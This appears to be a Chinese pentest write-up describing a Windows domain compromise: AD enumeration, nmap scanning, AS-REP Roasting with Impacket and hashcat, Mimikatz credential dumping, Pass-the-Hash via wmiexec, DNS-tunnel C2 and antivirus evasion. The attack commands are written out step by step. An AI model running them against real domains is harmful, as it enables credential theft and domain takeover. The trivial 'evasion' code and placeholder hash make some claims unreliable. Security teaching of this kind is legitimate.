一、一次意外的权限提升之旅

某天,我们收到一份授权的渗透测试任务目标:一个典型的Windows域环境。在初步信息收集后发现,目标域控制器运行的是Windows Server 2019,域内有约200台计算机节点。任务要求明确:测试域内核心数据安全性,尝试获取域管理员权限。

渗透测试的起点是一个普通的域用户账户。最初,我们通过社工方式获取了一个域内员工的凭证,成功登录到一台域成员计算机。这次测试中,最关键的一步是对域权限的提升。接下来,我将从攻击者的视角,详细拆解这次渗透过程。

---

二、信息收集的深度挖掘

作为攻击者,进入域内后,第一步就是全面信息收集。域的结构和资产情况决定了接下来的攻击路径。我们使用了多种工具和技术,逐步绘制了域的基本轮廓。

收集域信息

在目标机器上,我们通过PowerShell提取了域的基本信息:

<pre><code class="language-powershell"># 获取域控制器列表 Get-ADDomainController -Filter * | Select-Object HostName, Site

获取域信息

Get-ADDomain | Select-Object Name, DistinguishedName

获取所有域用户

Get-ADUser -Filter * | Select-Object Name, SamAccountName, Enabled

获取域组信息

Get-ADGroup -Filter * | Select-Object Name, GroupScope</code></pre>

这些命令的结果帮助我们确认了域控制器的IP地址及机器名称,还发现了几个可能的攻击目标:域管理员账户和一些高权限组。

网络扫描与端口分析

使用Nmap进行网络扫描,从而了解域成员的服务开启情况:

<pre><code class="language-shell">nmap -p 1-65535 -T4 -A -v 192.168.1.0/24</code></pre>

重点关注以下几类开放端口:

  • 445: SMB服务,可能存在弱口令或漏洞(如永恒之蓝)。
  • 5985: WinRM服务,可用于远程命令执行。
  • 135/139: RPC服务,潜在的横向移动入口。

通过扫描,我们发现几台机器开放了WinRM端口,后续可尝试利用它进行横向移动。

---

三、利用漏洞实现权限提升

在信息收集阶段,我们掌握了目标域的基本结构。接下来,重点突破域权限。这里我们借助了一个经典漏洞——Kerberos中的AS-REP Roasting攻击

攻击原理

AS-REP Roasting是一种针对Kerberos协议的攻击。目标用户账户开启了"Do not require Kerberos preauthentication"选项时,攻击者可以直接请求AS-REP响应。这个响应包含加密后的部分数据,可以通过离线暴力破解获取用户明文密码。

实战步骤

1. 漏洞确认

首先,我们使用Impacket的工具GetNPUsers.py枚举目标域的账户,寻找开启了"不需要预认证"的用户。

<pre><code class="language-shell">python3 GetNPUsers.py targetdomain.local/ --dc-ip 192.168.1.10 -usersfile users.txt</code></pre>

结果返回了几个用户的AS-REP数据块,其中一个名为legacyadmin的用户引起了注意。

2. 离线破解

将获取到的AS-REP数据存储到文件中,然后使用Hashcat进行破解:

<pre><code class="language-shell"># Hashcat命令破解AS-REP hash hashcat -m 18200 asrep_hash.txt /path/to/wordlist.txt</code></pre>

经过一段时间,我们成功破解了该用户的密码:P@ssw0rd123

3. 获取高权限用户

使用该账户登录域,发现它属于一个高权限组,具备多台机器的管理权限,这为后续横向移动铺平了道路。

---

四、横向移动与数据窃取

在获取高权限用户后,我们的目标是域控制器。常见的横向移动技巧包括凭证抓取、RDP、WinRM等。这里我们选择了Pass-the-Hash攻击。

凭证抓取

在目标机器上,我们使用Mimikatz抓取了本地LSASS进程中的凭证:

黑客示意图

<pre><code class="language-shell">privilege::debug sekurlsa::logonpasswords</code></pre>

成功提取了域管理员的NTLM hash:aad3b435b51404eeaad3b435b51404ee.

Pass-the-Hash攻击

利用Impacket的wmiexec.py进行横向移动:

<pre><code class="language-shell">python3 wmiexec.py targetdomain.local/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee</code></pre>

成功登录域控制器后,我们开始搜索敏感文件。

---

五、流量隐藏与免杀技巧

攻击过程中,如何隐藏流量并规避杀软检测是重点。以下是两种关键技术:

流量伪装

黑客示意图

使用DNS隧道隐藏C2通信,在目标机器上运行一段伪装流量的脚本:

<pre><code class="language-shell">import dns.resolver

模拟正常的DNS查询流量

def send_dns_query(): resolver = dns.resolver.Resolver() response = resolver.query(&#039;subdomain.example.com&#039;, &#039;A&#039;) print(response)

send_dns_query()</code></pre>

免杀技巧

针对Mimikatz工具,我们采用编译器混淆技术,重新编译生成免杀版本。通过Go语言实现:

黑客示意图

<pre><code class="language-go">package main

import ( &quot;fmt&quot; &quot;syscall&quot; )

func main() { // 直接调用Windows API handle, _ := syscall.LoadLibrary(&quot;advapi32.dll&quot;) fmt.Println(&quot;Library loaded:&quot;, handle) }</code></pre>

用这种方式绕过了主流杀软检测。

---

六、总结与经验分享

这次渗透测试验证了Windows域环境中的几个经典攻击路径:信息收集、漏洞利用、横向移动和权限提升。以下是我的经验总结:

  1. 漏洞利用永远是重点:无论是AS-REP Roasting还是Pass-the-Hash,找到漏洞是关键。
  2. 流量隐藏不可忽视:流量伪装技术让攻击更加隐秘,降低被发现的风险。
  3. 权限链条的思维:攻击者总是寻找权限链条的薄弱环节,安全团队需要重点监控。

最后,提醒大家,以上技术仅供授权的安全测试,不得用于非法用途。